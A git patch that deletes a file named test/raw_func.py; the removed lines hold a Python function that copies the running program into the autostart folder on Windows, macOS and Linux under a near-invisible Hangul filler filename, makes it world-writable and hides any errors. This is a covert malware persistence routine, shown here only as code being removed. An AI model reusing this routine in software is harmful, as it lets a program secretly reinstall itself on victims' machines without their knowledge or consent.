From 397636b095a5e0deeef376ee6bd27853541e50f4 Mon Sep 17 00:00:00 2001 From: Sirkeira <118860604+CirqueiraDev@users.noreply.github.com> Date: Tue, 2 Dec 2025 13:16:27 -0300 Subject: [PATCH] Delete test/raw_func.py --- test/raw_func.py | 28 ---------------------------- 1 file changed, 28 deletions(-) delete mode 100644 test/raw_func.py diff --git a/test/raw_func.py b/test/raw_func.py deleted file mode 100644 index 57e9744..0000000 --- a/test/raw_func.py +++ /dev/null @@ -1,28 +0,0 @@ -def _startup(): - startup = False - - try: - file_path = os.path.abspath(sys.argv[0]) - - if file_path.endswith(".exe"): - ext = "exe" - elif file_path.endswith(".py"): - ext = "py" - - new_name = f"ㅤ.{ext}" - - if sys.platform.startswith('win'): - folder = os.path.join(os.getenv('APPDATA'), 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup') - elif sys.platform.startswith('darwin'): - folder = os.path.join(os.path.expanduser('~'), 'Library', 'LaunchAgents') - elif sys.platform.startswith('linux'): - folder = os.path.join(os.path.expanduser('~'), '.config', 'autostart') - path_new_file = os.path.join(folder, new_name) - - shutil.copy(file_path, path_new_file) - os.chmod(path_new_file, 0o777) - return startup - except: - startup = False - pass - return startup \ No newline at end of file